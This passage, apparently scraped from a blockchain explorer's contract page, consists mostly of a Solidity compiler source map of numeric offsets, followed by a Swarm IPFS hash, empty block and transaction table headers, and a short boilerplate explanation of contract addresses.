7;14537;:33;14545:17;14563:5;14545:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14545:24:0;14537:33;;;;;;;;;;;;;:43;14490:90;14486:121;;;14590:7;;14599;;14582:25;;;;;;;;;;;14486:121;14642:7;:33;14650:17;14668:5;14650:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14650:24:0;14642:33;;;;;;;;;;;;;14632:43;;:7;:43;:::i;:::-;14622:53;;14710:7;:33;14718:17;14736:5;14718:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14718:24:0;14710:33;;;;;;;;;;;;;14700:43;;:7;:43;:::i;:::-;14690:53;-1:-1:-1;14462:7:0;;14404:351;;;;14769:9;:26;;;;;14782:13;14769:26;14765:96;;;14811:7;;14799:9;:19;;;;14820:38;14829:9;14840:6;14848:9;;14820:8;:38::i;:::-;14897:7;;14887;;:17;;;;:::i;:::-;14877:7;:27;14873:58;;;14914:7;;14923;;14906:25;;;;;;;;;;14873:58;14952:7;;-1:-1:-1;14961:7:0;-1:-1:-1;;;14118:859:0;;;;;;:::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:247;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;594:548::-;706:4;735:2;764;753:9;746:21;796:6;790:13;839:6;834:2;823:9;819:18;812:34;864:1;874:140;888:6;885:1;882:13;874:140;;;983:14;;;979:23;;973:30;949:17;;;968:2;945:26;938:66;903:10;;874:140;;;878:3;1063:1;1058:2;1049:6;1038:9;1034:22;1030:31;1023:42;1133:2;1126;1122:7;1117:2;1109:6;1105:15;1101:29;1090:9;1086:45;1082:54;1074:62;;;;594:548;;;;:::o;1147:315::-;1215:6;1223;1276:2;1264:9;1255:7;1251:23;1247:32;1244:52;;;1292:1;1289;1282:12;1244:52;1331:9;1318:23;1350:31;1375:5;1350:31;:::i;:::-;1400:5;1452:2;1437:18;;;;1424:32;;-1:-1:-1;;;1147:315:1:o;1881:456::-;1958:6;1966;1974;2027:2;2015:9;2006:7;2002:23;1998:32;1995:52;;;2043:1;2040;2033:12;1995:52;2082:9;2069:23;2101:31;2126:5;2101:31;:::i;:::-;2151:5;-1:-1:-1;2208:2:1;2193:18;;2180:32;2221:33;2180:32;2221:33;:::i;:::-;1881:456;;2273:7;;-1:-1:-1;;;2327:2:1;2312:18;;;;2299:32;;1881:456::o;2342:180::-;2401:6;2454:2;2442:9;2433:7;2429:23;2425:32;2422:52;;;2470:1;2467;2460:12;2422:52;-1:-1:-1;2493:23:1;;2342:180;-1:-1:-1;2342:180:1:o;2716:416::-;2781:6;2789;2842:2;2830:9;2821:7;2817:23;2813:32;2810:52;;;2858:1;2855;2848:12;2810:52;2897:9;2884:23;2916:31;2941:5;2916:31;:::i;:::-;2966:5;-1:-1:-1;3023:2:1;3008:18;;2995:32;3065:15;;3058:23;3046:36;;3036:64;;3096:1;3093;3086:12;3036:64;3119:7;3109:17;;;2716:416;;;;;:::o;3569:388::-;3637:6;3645;3698:2;3686:9;3677:7;3673:23;3669:32;3666:52;;;3714:1;3711;3704:12;3666:52;3753:9;3740:23;3772:31;3797:5;3772:31;:::i;:::-;3822:5;-1:-1:-1;3879:2:1;3864:18;;3851:32;3892:33;3851:32;3892:33;:::i;3962:380::-;4041:1;4037:12;;;;4084;;;4105:61;;4159:4;4151:6;4147:17;4137:27;;4105:61;4212:2;4204:6;4201:14;4181:18;4178:38;4175:161;;4258:10;4253:3;4249:20;4246:1;4239:31;4293:4;4290:1;4283:15;4321:4;4318:1;4311:15;4175:161;;3962:380;;;:::o;4347:127::-;4408:10;4403:3;4399:20;4396:1;4389:31;4439:4;4436:1;4429:15;4463:4;4460:1;4453:15;4479:128;4546:9;;;4567:11;;;4564:37;;;4581:18;;:::i;4612:217::-;4652:1;4678;4668:132;;4722:10;4717:3;4713:20;4710:1;4703:31;4757:4;4754:1;4747:15;4785:4;4782:1;4775:15;4668:132;-1:-1:-1;4814:9:1;;4612:217::o;4834:125::-;4899:9;;;4920:10;;;4917:36;;;4933:18;;:::i;4964:127::-;5025:10;5020:3;5016:20;5013:1;5006:31;5056:4;5053:1;5046:15;5080:4;5077:1;5070:15;5096:127;5157:10;5152:3;5148:20;5145:1;5138:31;5188:4;5185:1;5178:15;5212:4;5209:1;5202:15;5577:168;5650:9;;;5681;;5698:15;;;5692:22;;5678:37;5668:71;;5719:18;;:::i;5882:251::-;5952:6;6005:2;5993:9;5984:7;5980:23;5976:32;5973:52;;;6021:1;6018;6011:12;5973:52;6053:9;6047:16;6072:31;6097:5;6072:31;:::i;6138:980::-;6400:4;6448:3;6437:9;6433:19;6479:6;6468:9;6461:25;6505:2;6543:6;6538:2;6527:9;6523:18;6516:34;6586:3;6581:2;6570:9;6566:18;6559:31;6610:6;6645;6639:13;6676:6;6668;6661:22;6714:3;6703:9;6699:19;6692:26;;6753:2;6745:6;6741:15;6727:29;;6774:1;6784:195;6798:6;6795:1;6792:13;6784:195;;;6863:13;;-1:-1:-1;;;;;6859:39:1;6847:52;;6954:15;;;;6919:12;;;;6895:1;6813:9;6784:195;;;-1:-1:-1;;;;;;;7035:32:1;;;;7030:2;7015:18;;7008:60;-1:-1:-1;;;7099:3:1;7084:19;7077:35;6996:3;6138:980;-1:-1:-1;;;6138:980:1:o;7735:306::-;7823:6;7831;7839;7892:2;7880:9;7871:7;7867:23;7863:32;7860:52;;;7908:1;7905;7898:12;7860:52;7937:9;7931:16;7921:26;;7987:2;7976:9;7972:18;7966:25;7956:35;;8031:2;8020:9;8016:18;8010:25;8000:35;;7735:306;;;;;:::o

Swarm Source

ipfs://d0445ed3dad158539938ac7c37ab3e18a81e2cb216dc43efe6d09a37f8ac7575

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.